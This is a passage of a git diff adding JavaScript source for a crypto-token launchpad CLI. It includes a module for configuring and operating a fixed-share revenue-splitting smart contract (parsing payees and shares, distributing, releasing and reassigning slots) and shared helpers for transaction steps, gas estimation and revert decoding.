fetch(`${API}/share?${q}`, { headers: { accept: 'application/json', 'user-agent': UA }, signal: AbortSignal.timeout(TIMEOUT_MS) }) + if (r.status === 404) return 'retry' + if (!r.ok) return null + const b = await r.json() + return typeof b?.text === 'string' && typeof b?.url === 'string' ? { text: b.text, url: b.url, image: b.image ?? null } : null + } catch { return null } +} + +/** { text, url, image, note } or null. `note`: a trade tx with a published note; else `token` (+ `event: 'create'`). */ +export async function shareFor({ note, token, event }, wait = (ms) => new Promise((r) => setTimeout(r, ms))) { + const q = new URLSearchParams(note ? { note } : { token, ...(event && { event }) }) + if (!note && !token) return null + let s = await fetchShare(q) + if (s === 'retry') { + await wait(RETRY_MS) + s = await fetchShare(q) + } + return s && s !== 'retry' ? { ...s, note: SHARE_NOTE } : null +} diff --git a/src/split.js b/src/split.js new file mode 100644 index 0000000..2e7bd16 --- /dev/null +++ b/src/split.js @@ -0,0 +1,428 @@ +import { createPublicClient, parseAbi, encodeFunctionData, formatUnits, getAddress, hexToString, isAddress, maxUint256, parseUnits, zeroAddress } from 'viem' +import { atTokenPad, GANG_GENS, KIND_UNREAD, gangGens, padNets, NOT_ON_MAINNET, rpcTransport } from './gangpad.js' +import { walletFor } from './fair.js' +import { parseAmount, revertOf as revertIn, step } from './steps.js' + +/** + * `gang split …` and `gang create … --split :[,…]` — GangSplitModule (多人分账, `split-v1`): a V3 token's tax + * recipient that splits everything it receives among 1–10 payees at shares fixed when it is cloned (summing to 100%). + * Nobody — not the dev, not the platform — can change the payees or the shares; a payee can only move its own slot to + * another address (`setPayee`). GangSplitModuleFactory clones one for the dev (`create(payees, shares, salt)`, at + * `predict(dev, salt)`) and has GangHandlerAdmin list it, so the dev names it as the recipient at create (launch.js does + * the three steps: clone → create → bind, as for --buyback). + * Every asset that reaches the module is split at the same shares (`distribute(asset)`, anyone); the keeper splits only + * the bound quote, and only when it serves that quote (`keeperServes`: WBNB, GANG, a QuoteRegistry quote). + * Gas: each payee's push needs about 365k gas left before it (PUSH_GAS 300k × 64/63 + a 60k reserve), so a split needs a + * gas limit far above the gas it uses. The CLI never sets or lowers one: the wallet / node estimates it (eth_estimateGas + * searches for a limit that passes); a lower limit reverts PushStarved, and nothing moves. + * Env: GANG_SPLIT_FACTORY / GANG_TESTNET_SPLIT_FACTORY override the create target's factory (gangpad.js). + */ + +// one factory per GangLaunchpad generation (it is bound to one pad): the create target's (GANG_GENS in gangpad.js) +export const MAINNET_SPLIT_FACTORY = GANG_GENS.mainnet[0].splitFactory +export const TESTNET_SPLIT_FACTORY = GANG_GENS.testnet[0].splitFactory +export const SPLIT_TYPE = 'split-v1' +export const MAX_PAYEES = 10 +const BPS = 10_000 + +const ERRORS = [ + 'error ZeroAddress()', 'error NotClone()', 'error NotFactory()', 'error AlreadyInitialized()', 'error BadPayees()', + 'error BadShares()', 'error BadPayee()', 'error DuplicatePayee()', 'error BadIndex()', 'error NotPayee()', + 'error AlreadyBound()', 'error NotCurve()', 'error NotCreator()', 'error NotRecipient()', 'error NothingOwed()', + 'error PushStarved()', +] + +export const SPLIT_FACTORY_ABI = parseAbi([ + 'function create(address[] payees, uint16[] shares, bytes32 salt) returns (address module)', + 'function predict(address dev, bytes32 salt) view returns (address)', + 'function pad() view returns (address)', + 'error NotAgent()', 'error WrongHandler()', + 'event Created(address indexed dev, address indexed module, address[] payees, uint16[] shares)', + ...ERRORS, +]) + +export const SPLIT_ABI = parseAbi([ + 'function moduleType() view returns (bytes32)', + 'function dev() view returns (address)', + 'function token() view returns (address)', + 'function quote() view returns (address)', + 'function gangQuote() view returns (address)', + 'function payeesOf() view returns (address[] payees, uint16[] shares)', + 'function payeeCount() view returns (uint256)', + 'function owedOf(address asset, uint256 index) view returns (uint256)', + 'function owedTotal(address asset) view returns (uint256)', + 'function undistributed(address asset) view returns (uint256)', + 'function keeperServes(address q) view returns (bool)', + 'function previewWork() view returns (bool due, uint256 minOut)', + 'function lastDistributedAt() view returns (uint64)', + 'function bind(address token)', + 'function distribute(address asset) returns (uint256 incoming)', + 'function release(address asset, uint256 index, uint256 maxAmount) returns (uint256 amount)', + 'function setPayee(uint256 index, address newPayee)', + 'event Bound(address indexed token, address indexed quote)', + 'event Distributed(address indexed asset, uint256 incoming)', + 'event PayeeOwed(address indexed asset, uint256 indexed index, uint256 amount)', + 'event PayeeReleased(address indexed asset, uint256 indexed index, uint256 amount)', + 'event PayeeChanged(uint256 indexed index, address indexed oldPayee, address indexed newPayee)', + 'event Shortfall(address indexed asset, uint256 amount)', + ...ERRORS, +]) +/** gang tx decodes these (the factory's Created and the module's events). */ +export const SPLIT_EVENT_ABIS = [SPLIT_FACTORY_ABI, SPLIT_ABI] + +const PAD_ABI = parseAbi([ + 'function taxConfigOf(address token) view returns (uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address recipient)', + 'function curves(address token) view returns (address creator, address quote, uint128 realQuote, uint128 sold, uint128 gradAmt, uint128 virtualQuote, bool graduated, uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address pair, address refPair)', +]) +const ERC20_ABI = parseAbi(['function symbol() view returns (string)', 'function decimals() view returns (uint8)']) + +export const GAS_NOTE = 'let the wallet estimate the gas limit (eth_estimateGas) and do not lower it: each payee\'s push needs about 365k gas left before it, so the limit is far above the gas used; a lower limit reverts PushStarved (nothing moves)' + +export const HINTS = { + NotAgent: 'only an Agent can create a V3 token, so only an Agent gets a split module', + NotFactory: 'this split factory is not allowed on the platform\'s GangHandlerAdmin: it cannot list a split module as a tax recipient. If GANG_SPLIT_FACTORY / GANG_TESTNET_SPLIT_FACTORY is set, unset it to use the built-in factory; otherwise launch without --split', + BadPayees: '1–10 payees, one share each', + BadShares: 'each share at least 0.01% (1 bps), all adding up to 100%', + BadPayee: 'a payee cannot be the split module itself', + DuplicatePayee: 'that address is a payee already (each address holds at most one slot)', + ZeroAddress: 'the zero address cannot be a payee', + BadIndex: 'no payee slot with that index (gang split status lists them, from 0)', + NotPayee: 'only the current payee of a slot can move it to another address', + AlreadyBound: 'the module is bound to a token already', + NotCurve: 'not a V3 (curve) token on this pad', + NotCreator: 'the token was not created by this module\'s dev', + NotRecipient: 'the token does not pay its tax to this module', + NothingOwed: 'nothing is owed to that slot in this asset (gang split status shows what each slot is owed)', + PushStarved: `the tx's gas limit was too low for the split: ${GAS_NOTE}`, +} +export const revertOf = (e) => revertIn(e, [SPLIT_ABI, SPLIT_FACTORY_ABI], HINTS) + +/** Dry-run a call; { failed } with the revert when it would not pass. */ +export async function simulateSplit(client, from, address, abi, functionName, args = []) { + try { + const { result } = await client.simulateContract({ account: from, address, abi, functionName, args }) + return { result } + } catch (e) { + const r = revertOf(e) + return { failed: r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] } } + } +} + +export function splitFactoryAddress(testnet) { + return gangGens(testnet)[0].splitFactory || null +} + +export const splitNotDeployed = (testnet) => + `GangSplitModuleFactory is not deployed on ${testnet ? 'the BSC testnet' : 'BSC mainnet'} in this CLI version: set ${testnet ? 'GANG_TESTNET_SPLIT_FACTORY' : 'GANG_SPLIT_FACTORY'} to its address` + +const SPLIT_USAGE = '--split takes :[,:…]: 1–10 payees, each share in % (up to 2 decimals, at least 0.01), adding up to 100; self (or me) = your wallet. E.g. --split self:60,0xAbc…:30,0xDef…:10' +const PCT_RE = /^(\d{1,3})(?:\.(\d{1,2}))?$/ + +/** + * --split :[,…] → { payees, shares (bps), list } or { error, got }, checked as GangSplitModule.initialize checks + * them (1–10 payees, none 0, no repeats, each share ≥ 1 bps, summing to 10,000). `self` (alias `me`) is the creating wallet; + * the order is kept (the first payee also takes the rounding dust of each split). Whether a payee is the module itself + * is checked once its address is known (launch.js, from predict). + */ +export function parseSplitSpec(raw, me) { + const s = String(raw ?? '').trim() + if (!s || s.startsWith('--')) return { error: SPLIT_USAGE, got: raw ?? null } + const parts = s.split(',').map((x) => x.trim()) + if (parts.some((p) => !p)) return { error: `${SPLIT_USAGE} (an empty entry between commas)`, got: raw } + if (parts.length > MAX_PAYEES) return { error: `--split takes at most ${MAX_PAYEES} payees`, got: parts.length } + const list = [] + for (const p of parts) { + const i = p.lastIndexOf(':') + if (i < 0) return { error: `--split: "${p}" is not :`, hint: SPLIT_USAGE } + const who = p.slice(0, i).trim(), pctRaw = p.slice(i + 1).trim() + let payee, you = false + if (/^(me|self)$/i.test(who)) { + if (!isAddress(me ?? '')) return { error: `--split: "${who}" needs your wallet address (sign in with baw, or give --from)` } + payee = getAddress(me); you = true + } else if (!isAddress(who)) { + return { error: `--split: "${who}" is not a 0x address (checksummed or all lowercase) or self`, hint: SPLIT_USAGE } + } else payee = getAddress(who) + if (payee === zeroAddress) return { error: '--split: the zero address cannot be a payee' } + const m = PCT_RE.exec(pctRaw) + if (!m) return { error: `--split: "${pctRaw}" (for ${who}) is not a share in % with at most 2 decimals (e.g. 60 or 33.33)`, hint: SPLIT_USAGE } + const bps = Number(m[1]) * 100 + Number((m[2] ?? '').padEnd(2, '0')) + if (bps < 1) return { error: `--split: ${who} has a 0% share; each payee needs at least 0.01%` } + if (bps > BPS) return { error: `--split: ${who} has more than 100%` } + if (!you && me && isAddress(me) && payee === getAddress(me)) you = true + list.push({ payee, bps, you }) + } + const seen = new Set() + for (const { payee } of list) { + if (seen.has(payee)) return { error: `--split: ${payee} appears twice (self is your wallet ${me}); each address holds one slot`, got: raw } + seen.add(payee) + } + const sum = list.reduce((a, x) => a + x.bps, 0) + if (sum !== BPS) return { error: `--split: the shares add up to ${sum / 100}%, not 100%`, got: raw } + return { + payees: list.map((x) => x.payee), shares: list.map((x) => x.bps), + list: list.map((x, index) => ({ index, payee: x.payee, pct: x.bps / 100, ...(x.you && { you: true }) })), + } +} + +/** The split as a one-line summary: "0xAb…:60%, 0xCd…:40%". */ +export const splitLine = (payees, shares) => payees.map((p, i) => `${p}: ${Number(shares[i]) / 100}%`).join(', ') + +const iso = (s) => (Number(s) > 0 ? new Date(Number(s) * 1000).toISOString() : null) + +/** + * The module's state for printing, from the raw reads (pure: unit-tested). `raw`: { module, dev, token, quote, payees, + * shares, lastDistributedAt, keeperServesQuote, due, assets: [{ asset, symbol, decimals, undistributed, owedTotal, + * owed: bigint[] | null }] }. `ref`: how later commands name it (e.g. `--token 0x… --testnet`). + */ +export function formatSplit(raw, ref) { + const token = raw.token && raw.token !== zeroAddress ? raw.token : null + const quote = token && raw.quote && raw.quote !== zeroAddress ? raw.quote : null + const isQuote = (a) => !!quote && a.toLowerCase() === quote.toLowerCase() + const dev = String(raw.dev).toLowerCase() + const payees = raw.payees.map((payee, index) => ({ + index, payee, pct: Number(raw.shares[index]) / 100, bps: Number(raw.shares[index]), ...(payee.toLowerCase() === dev && { isDev: true }), + })) + const next = [] + const assets = [] + for (const a of raw.assets) { + const owedTotal = a.owedTotal ?? 0n + const undistributed = a.undistributed ?? 0n + // the bound quote always; another asset only when something of it is here + if (!isQuote(a.asset) && undistributed === 0n && owedTotal === 0n) continue + const f = (x) => formatUnits(x, a.decimals ?? 18) + const owed = owedTotal > 0n && a.owed + ? a.owed.map((x, index) => ({ index, payee: raw.payees[index], amount: f(x) })).filter((_, i) => a.owed[i] > 0n) : [] + const byKeeper = isQuote(a.asset) && raw.keeperServesQuote + assets.push({ + asset: a.asset, symbol: a.symbol ?? null, ...(isQuote(a.asset) && { boundQuote: true }), + undistributed: f(undistributed), owedTotal: f(owedTotal), ...(owed.length && { owed }), + splitBy: byKeeper ? 'keeper (or anyone, gang split distribute)' : 'hand: gang split distribute (anyone)', + }) + if (undistributed > 0n && !byKeeper) next.push(`gang split distribute ${ref} --asset ${a.asset}`) + for (const o of owed) next.push(`gang split release ${ref} --asset ${a.asset} --index ${o.index}`) + } + const sym = (assets.find((x) => x.boundQuote)?.symbol) || quote + const distribution = !token ? 'unbound' : raw.keeperServesQuote ? 'keeper' : 'manual' + const keeperLine = distribution === 'unbound' + ? `Not bound to a token yet (gang split bind --token ): the keeper splits nothing until then; anyone can split by hand (gang split distribute --asset )` + : distribution === 'keeper' + ? `The keeper splits the bound quote (${sym}) once enough has gathered (0.05% of the pool's quote reserve, or after a day once it reaches 1/100 of that); anyone can split it sooner (gang split distribute)` + : `The keeper does not serve this quote (${sym}): distribution is manual — run gang split distribute (anyone) to pay the payees` + return { + module: raw.module, moduleType: SPLIT_TYPE, dev: raw.dev, token, quote, ...(quote && { quoteSymbol: sym }), + payees, distribution, + keeper: { servesQuote: token ? !!raw.keeperServesQuote : null, due: !!raw.due, lastDistributedAt: iso(raw.lastDistributedAt) }, + assets, + ...(next.length && { next }), + note: 'the payees and shares are fixed for good: nobody (not the dev, not the platform) can change them; a payee can only ' + + 'move its own slot to another address (gang split set-payee). Every asset that reaches the module is split at these ' + + `shares, the first payee also taking the rounding dust. ${keeperLine}. Any other asset sent to it is split by hand ` + + '(gang split distribute --asset ). A failed push is owed to that slot and paid with its next push, or by gang split release', + } +} + +/** Reads `asset`'s side of the module; null when it is not an ERC20 the module can read. */ +async function assetRaw(read, module, asset, n) { + let undistributed, owedTotal + try { + [undistributed, owedTotal] = await Promise.all([ + read(module, SPLIT_ABI, 'undistributed', [asset]), read(module, SPLIT_ABI, 'owedTotal', [asset]), + ]) + } catch { return null } + const [symbol, decimals, owed] = await Promise.all([ + read(asset, ERC20_ABI, 'symbol').catch(() => null), + read(asset, ERC20_ABI, 'decimals').then(Number).catch(() => 18), + owedTotal > 0n ? Promise.all(Array.from({ length: n }, (_, i) => read(module, SPLIT_ABI, 'owedOf', [asset, BigInt(i)]))) : null, + ]) + return { asset, symbol, decimals, undistributed, owedTotal, owed } +} + +/** + * The module's state when `addr` is a GangSplitModule (split-v1); null when it is not (an EOA, a partner, another + * module). Assets read: the bound quote, WBNB, the module's GANG (mainnet) and `extraAssets` (e.g. the quote of a token + * paying it that is not the bound one). + */ +export async function splitOf(read, addr, { wbnb, extraAssets = [], ref } = {}) { + if (!addr || addr === zeroAddress) return null + let type + try { type = await read(addr, SPLIT_ABI, 'moduleType') } catch { return null } + if (hexToString(type, { size: 32 }).replace(/\0+$/, '') !== SPLIT_TYPE) return null + const [dev, token, quote, [payees, shares], last, gangQuote, preview] = await Promise.all([ + read(addr, SPLIT_ABI, 'dev'), read(addr, SPLIT_ABI, 'token'), read(addr, SPLIT_ABI, 'quote'), read(addr, SPLIT_ABI, 'payeesOf'), + read(addr, SPLIT_ABI, 'lastDistributedAt'), read(addr, SPLIT_ABI, 'gangQuote').catch(() => zeroAddress), + read(addr, SPLIT_ABI, 'previewWork').catch(() => [false, 0n]), + ]) + const keeperServesQuote = quote !== zeroAddress ? await read(addr, SPLIT_ABI, 'keeperServes', [quote]).catch(() => false) : false + const seen = new Set() + const list = [quote, wbnb, gangQuote, ...extraAssets].filter((a) => { + if (!a || a === zeroAddress || seen.has(a.toLowerCase())) return false + seen.add(a.toLowerCase()) + return true + }) + const assets = (await Promise.all(list.map((a) => assetRaw(read, addr, a, payees.length)))).filter(Boolean) + return formatSplit({ + module: addr, dev, token, quote, payees, shares, lastDistributedAt: last, keeperServesQuote, due: preview[0], assets, + }, ref ?? (token !== zeroAddress ? `--token ${token}` : `--module ${addr}`)) +} + +function splitCtx(testnet) { + const net = padNets('v3')[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +const SUBS = ['status', 'distribute', 'release', 'set-payee', 'bind'] +const USAGE = 'usage: gang split --token (or --module ) [--asset ] [--index ] [--to ] [--max ] [--testnet] — see gang help' + +/** `gang split `: the split module of a V3 token (its tax recipient), found from --token (or named by --module). */ +export async function runSplit(sub, { opt, flag, out, fail, summarize }) { + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const testnet = flag('testnet') + const rawOnly = flag('calldata') + let ctx + try { ctx = splitCtx(testnet) } catch (e) { return fail(e.message) } + const chainId = Number(ctx.chainId) + const tn = testnet ? ' --testnet' : '' + if (flag('token') && flag('module')) fail('give --token (its tax recipient is the module) or --module, not both') + let token = null, module, tokenQuote = null + if (flag('module')) { + if (sub === 'bind') fail('gang split bind needs --token (it binds the token\'s own recipient)') + module = opt('module') + if (!isAddress(module ?? '')) fail('--module must be a split module address (0x…)', { got: module ?? null }) + } else { + token = opt('token') + if (!isAddress(token ?? '')) fail('--token must be a V3 token address (0x…), or name the module with --module ', { got: token ?? null }) + if ((await atTokenPad(ctx, token)) === null) return fail(KIND_UNREAD.error, { token: token, retry: KIND_UNREAD.retry }) // else on the pad of the token's generation + try { + const [creator, quote] = await ctx.read(ctx.pad, PAD_ABI, 'curves', [token]) + if (creator === zeroAddress) throw new Error('not a curve') + tokenQuote = quote + module = (await ctx.read(ctx.pad, PAD_ABI, 'taxConfigOf', [token]))[3] + } catch { + return fail(`not a V3 token on this pad (${testnet ? 'BSC testnet' : 'BSC mainnet'}${testnet ? '' : '; add --testnet for a testnet token'})`, { token, chainId }) + } + } + const ref = `${token ? `--token ${token}` : `--module ${module}`}${tn}` + const s = await splitOf(ctx.read, module, { wbnb: ctx.wbnb, extraAssets: tokenQuote && tokenQuote !== zeroAddress ? [tokenQuote] : [], ref }) + if (!s) { + return fail(token ? 'this token\'s tax recipient is not a split module' : 'not a split module (split-v1)', + { ...(token && { token }), recipient: module === zeroAddress ? null : module }) + } + // the token pays this module but the module is bound to another one: the keeper never splits this token's tax + const decoy = token && s.token && s.token.toLowerCase() !== token.toLowerCase() + const warning = decoy + ? `this token pays its tax to the module, but the module is bound to another token (${s.token}): the keeper splits only that token's quote; this token's tax (${tokenQuote}) is split only by hand (gang split distribute ${ref} --asset ${tokenQuote})` + : null + const me = () => walletFor(ctx, opt('from')) + const send = async (functionName, args, extra) => { + const sim = await simulateSplit(ctx.client, me(), s.module, SPLIT_ABI, functionName, args) + if (sim.failed) return out({ success: false, step: extra.step, ...sim.failed }) + const data = encodeFunctionData({ abi: SPLIT_ABI, functionName, args }) + // no gas field: the wallet / node estimates it (GAS_NOTE) + return out(step(ctx, { from: me(), to: s.module, data }, { chainId, ...(token && { token }), module: s.module, ...extra }, rawOnly, summarize)) + } + /** --asset , else `def` (the bound quote, or the token's own quote while unbound). */ + const assetArg = (def) => { + if (!flag('asset')) { + if (!def) fail('the module is not bound to a token yet: give --asset (what to split), or bind it first (gang split bind --token )') + return def + } + const a = opt('asset') + if (/^wbnb$/i.test(a ?? '')) return ctx.wbnb + if (!isAddress(a ?? '') || a === zeroAddress) fail('--asset must be a token address (0x…, checksummed or all lowercase) or wbnb', { got: a ?? null }) + return getAddress(a) + } + const assetState = async (asset) => { + const known = s.assets.find((x) => x.asset.toLowerCase() === asset.toLowerCase()) + const r = await assetRaw(ctx.read, s.module, asset, s.payees.length) + if (!r) fail('the module cannot read that asset\'s balance (not an ERC20?)', { asset }) + return { ...r, symbol: r.symbol ?? known?.symbol ?? null, f: (x) => formatUnits(x, r.decimals) } + } + const defaultAsset = s.quote ?? (tokenQuote && tokenQuote !== zeroAddress ? tokenQuote : null) + + if (sub === 'status') return out({ success: true, chainId, ...s, ...(warning && { warning }) }) + + if (sub === 'bind') { + if (s.token) return fail('already bound', { boundTo: s.token, ...(warning && { warning }) }) + return send('bind', [token], { step: 'bind', note: 'anyone may bind (once); the token must be the dev\'s and pay its tax to this module. It decides which quote the keeper splits' }) + } + + if (sub === 'distribute') { + const asset = assetArg(defaultAsset) + const a = await assetState(asset) + if (a.undistributed === 0n) { + return fail('nothing of this asset is waiting to be split', { + asset, symbol: a.symbol, owedTotal: a.f(a.owedTotal), + ...(a.owedTotal > 0n && { hint: `what is held is owed to payees after failed pushes: gang split release ${ref} --asset ${asset} --index ` }), + }) + } + // as the contract: the others rounded down, the first payee the rest + const amounts = s.payees.map((p) => (a.undistributed * BigInt(p.bps)) / BigInt(BPS)) + amounts[0] = a.undistributed - amounts.slice(1).reduce((x, y) => x + y, 0n) + const parts = s.payees.map((p, i) => ({ index: p.index, payee: p.payee, pct: p.pct, gets: a.f(amounts[i]) })) + return send('distribute', [asset], { + step: 'distribute', asset, symbol: a.symbol, amount: a.f(a.undistributed), parts, + note: `anyone may: splits what of this asset arrived since its last split at the fixed shares (the first payee also takes the rounding dust); a push that fails is owed to that slot. Gas: ${GAS_NOTE}`, + }) + } + + if (sub === 'release') { + const asset = assetArg(defaultAsset) + const a = await assetState(asset) + let index + if (flag('index')) index = indexArg(opt('index'), s.payees.length, fail) + else { + const mine = s.payees.find((p) => p.payee.toLowerCase() === String(me()).toLowerCase()) + const owedSlots = (a.owed ?? []).map((x, i) => (x > 0n ? i : -1)).filter((i) => i >= 0) + if (mine) index = mine.index + else if (owedSlots.length === 1) index = owedSlots[0] + else fail('--index required: which payee slot to pay (gang split status lists what each is owed)', { owedSlots }) + } + const owed = a.owed ? a.owed[index] : 0n + if (owed === 0n) return fail(HINTS.NothingOwed, { asset, symbol: a.symbol, index, payee: s.payees[index].payee }) + let max = maxUint256 + if (flag('max')) max = parseUnits(parseAmount(fail, 'max', opt('max')), a.decimals) + const amount = owed < max ? owed : max + return send('release', [asset, BigInt(index), max], { + step: 'release', asset, symbol: a.symbol, index, payee: s.payees[index].payee, amount: a.f(amount), owed: a.f(owed), + note: `anyone may: splits what newly arrived of this asset first, then pushes ${max === maxUint256 ? 'all' : 'up to --max'} of what this slot is owed to its payee (reverts while it still cannot receive; nothing owed is lost). Gas: ${GAS_NOTE}`, + }) + } + + // set-payee: only the slot's own payee; the index is the wallet's own slot unless given + const wallet = String(me()).toLowerCase() + const mine = s.payees.find((p) => p.payee.toLowerCase() === wallet) + let index + if (flag('index')) index = indexArg(opt('index'), s.payees.length, fail) + else if (mine) index = mine.index + else return fail('this wallet is not a payee of this module: only a slot\'s own payee can move it', { wallet: me(), payees: s.payees.map((p) => p.payee) }) + const slot = s.payees[index] + if (slot.payee.toLowerCase() !== wallet) return fail(HINTS.NotPayee, { index, payee: slot.payee, wallet: me() }) + const to = opt('to') + if (!isAddress(to ?? '') || to === zeroAddress) fail('--to <0x…> required (checksummed or all lowercase): the address this slot is paid to from now on', { got: to ?? null }) + if (to.toLowerCase() === s.module.toLowerCase()) return fail(HINTS.BadPayee, { to }) + const taken = s.payees.find((p) => p.payee.toLowerCase() === to.toLowerCase()) + if (taken) return fail(taken.index === index ? 'that is this slot\'s payee already' : HINTS.DuplicatePayee, { to, index: taken.index }) + // the contract splits only the bound quote before the move: what else arrived would go to the new address, so split + // those first (review I-3); each is its own tx, then the same command again + const unsplit = s.assets.filter((x) => !x.boundQuote && Number(x.undistributed) > 0) + if (unsplit.length) { + const first = unsplit[0] + return send('distribute', [first.asset], { + step: 'distribute-first', asset: first.asset, symbol: first.symbol, amount: first.undistributed, + ...(unsplit.length > 1 && { thenAlso: unsplit.slice(1).map((x) => ({ asset: x.asset, symbol: x.symbol, amount: x.undistributed })) }), + note: `before the move: ${first.symbol || first.asset} that arrived earlier is split to the current payees (the contract splits only the bound quote itself). After executing, re-run the same command. Gas: ${GAS_NOTE}`, + }) + } + return send('setPayee', [BigInt(index), getAddress(to)], { + step: 'set-payee', index, pct: slot.pct, fromPayee: slot.payee, toPayee: getAddress(to), + note: `applies at once; the share (${slot.pct}%) stays with the slot. The bound quote that arrived before is split first (to the current address); what this slot is owed (any asset) goes to the new one. Gas: ${GAS_NOTE}`, + }) +} + +function indexArg(raw, n, fail) { + const i = Number(raw) + if (!Number.isInteger(i) || i < 0 || i >= n) fail(`--index must be a payee slot: the contract's 0-based index, 0 to ${n - 1} (gang split status lists them)`, { got: raw ?? null }) + return i +} diff --git a/src/steps.js b/src/steps.js new file mode 100644 index 0000000..159d86f --- /dev/null +++ b/src/steps.js @@ -0,0 +1,307 @@ +import { parseAbi, encodeFunctionData, decodeErrorResult, formatUnits, parseEther } from 'viem' +import { bawError, bawPreview } from './baw.js' + +/** + * Shared by `gang fair` and `gang v3` (each on its own chain via `ctx`: { chainId, client, read, wbnb }): revert decoding, + * the write step (raw tx or baw preview), quote funding (wrap / approve), flag parsing and token units. + */ +const ERC20_ABI = parseAbi([ + 'function balanceOf(address) view returns (uint256)', + 'function allowance(address, address) view returns (uint256)', + 'function approve(address, uint256) returns (bool)', + 'function decimals() view returns (uint8)', +]) +const WBNB_ABI = parseAbi(['function deposit() payable']) + +/** + * GangRouter (gang-launchpad src/router; a proxy, so its address stays): stateless entry in front of the pad. With + * native BNB it wraps and calls the pad for the caller — no wrap / approve round for WBNB-quoted tokens and sales. A V3 + * buy's cap / graduation refund goes from the pad straight to the caller as WBNB (not BNB); fairMintBNB returns + * unspent BNB as BNB. The pool* functions trade a graduated / launched token on PancakeSwap (see pool.js): + * the token / proceeds go to the caller; poolBuy / poolSell pull the quote / token, so approve the router first. + */ +export const ROUTER_ABI = parseAbi([ + 'function v3Buy(address token, uint256 quoteIn, uint256 minTokensOut, uint256 deadline) returns (uint256)', + 'function v3BuyBNB(address token, uint256 minTokensOut, uint256 deadline) payable returns (uint256)', + 'function fairMint(address token, uint256 shares, uint256 minShares, uint256 deadline) returns (uint256)', + 'function fairMintBNB(address token, uint256 shares, uint256 minShares, uint256 deadline) payable returns (uint256)', + 'function poolBuyBNB(address token, address quote, uint256 minTokensOut, uint256 deadline) payable returns (uint256 tokensOut)', + 'function poolBuy(address token, address quote, uint256 quoteIn, uint256 minTokensOut, uint256 deadline) returns (uint256)', + 'function poolSell(address token, address quote, uint256 amountIn, uint256 minQuoteOut, uint256 deadline) returns (uint256)', + 'function poolSellForBNB(address token, address quote, uint256 amountIn, uint256 minBnbOut, uint256 deadline) returns (uint256)', + 'function pad() view returns (address)', 'function wbnb() view returns (address)', 'function pancakeRouter() view returns (address)', + // errors as in gang-launchpad src/router/GangRouter.sol (feat/upgradeable-router) + 'error Expired()', 'error NotDeployed()', 'error UnknownToken()', 'error NotWbnbQuote()', 'error NotEnoughValue()', + 'error OnlyWbnb()', 'error BnbTransferFailed()', 'error ZeroAmount()', + 'error TooLittleReceived(uint256 received, uint256 minimum)', +]) +/** What to tell the agent for each router error. */ +export const ROUTER_HINTS = { + Expired: 'the tx landed after its deadline (30 min after the preview): re-run the command for a fresh one', + TooLittleReceived: 'the pool pays less than the minimum (args: [received, minimum], raw units): the price moved, or the tax chunk sold first took more. Re-run to re-quote, or raise --slippage', + ZeroAmount: 'the amount is 0 (or nothing arrived from the wallet)', + NotEnoughValue: 'the BNB sent does not cover the amount', + UnknownToken: 'the router does not know this token on its pad (the other kind of token, or not a gang token)', +} +/** + * A gas limit with room for a call whose cost moves between the estimate and the block it lands in (a 铸币飞轮 token's + * first pool touch in a block writes its price checkpoints) and whose nested calls need more than an exact limit leaves + * them (63/64 rule): 1.5 × the estimate (what the Agentic Wallet itself adds on most calls), at least `floor`. A + * reverting estimate is thrown (the caller reports its reason; nothing is sent); only an RPC failure falls back to the floor. + */ +export async function roomyGas(ctx, { from, to, data, value = 0n }, floor) { + let est = 0n + try { + est = await ctx.client.estimateGas({ account: from, to, data, value }) + } catch (e) { + if (e?.walk?.((x) => x?.code === 3 || /revert/i.test(x?.details || x?.shortMessage || ''))) throw e + } + const room = (est * 3n) / 2n + return room > floor ? room : floor +} + +/** Router deadline: half an hour, for a preview that is executed a few minutes later. */ +export const routerDeadline = () => BigInt(Math.floor(Date.now() / 1000) + 1800) +/** Native BNB kept back for gas on a router call, as `gang buy` keeps for wrap + approve + buy. */ +export const GAS_RESERVE = parseEther('0.002') +/** The router path applies: a router on this chain, a WBNB quote, and no --use-wbnb. */ +export const viaRouter = (ctx, quote, flag) => !!ctx.router && quote.toLowerCase() === ctx.wbnb.toLowerCase() && !flag('use-wbnb') + +/** Token decimals, read once per ctx (18 when the token does not say). */ +export async function decimalsOf(ctx, token) { + ctx.decimals ??= new Map() + const k = token.toLowerCase() + if (!ctx.decimals.has(k)) { + let d = 18 + try { d = Number(await ctx.read(token, ERC20_ABI, 'decimals')) } catch { /* 18 */ } + ctx.decimals.set(k, d) + } + return ctx.decimals.get(k) +} +export const units = async (ctx, token, amount) => formatUnits(amount, await decimalsOf(ctx, token)) + +/** Revert name (+ the first arg, e.g. a reason string) of a failed call against any of `abis`, or null when it was the RPC. */ +export function revertOf(e, abis, hints = {}) { + const raw = e?.walk?.((x) => typeof x?.data === 'string' && x.data.startsWith('0x'))?.data + if (raw && raw.length >= 10) { + for (const abi of abis) { + try { + const d = decodeErrorResult({ abi, data: raw }) + return { + error: d.errorName, ...(d.args?.length && { reason: d.args[0] }), + ...(d.args?.length > 1 && { args: d.args.map((a) => (typeof a === 'bigint' ? a.toString() : a)) }), hint: hints[d.errorName], + } + } catch { /* not this contract */ } + } + } + const named = e?.walk?.((x) => x?.data?.errorName)?.data?.errorName + if (named) return { error: named, hint: hints[named] } + if (e?.walk?.((x) => x?.code === 3 || /revert/i.test(x?.details || x?.shortMessage || ''))) return { error: 'execution reverted' } + return null +} + +/** + * A write step: either the raw tx (--calldata: no baw call; e.g. to sign elsewhere) or a baw preview. + * Returns the object the command prints. + */ +export function step(ctx, { from, to, data, value = 0n, gas = null }, extra, rawOnly, summarize) { + if (rawOnly) { + return { success: true, ...extra, tx: { chainId: Number(ctx.chainId), from, to, data, value: value.toString(), ...(gas && { gas: gas.toString() }) } } + } + const p = bawPreview({ from, to, value, data, chainId: ctx.chainId, gasLimit: gas }) + // only an error about the chain itself: a generic network failure is not a reason to fall back to --calldata + if (!p.success && new RegExp(`binanceChainId|unsupported chain|chain not supported|chain(?:\\s*id)?\\W{0,3}${ctx.chainId}\\b`, 'i') + .test(JSON.stringify(p.error || ''))) { + return { + success: false, ...extra, ...bawError(p.error), + 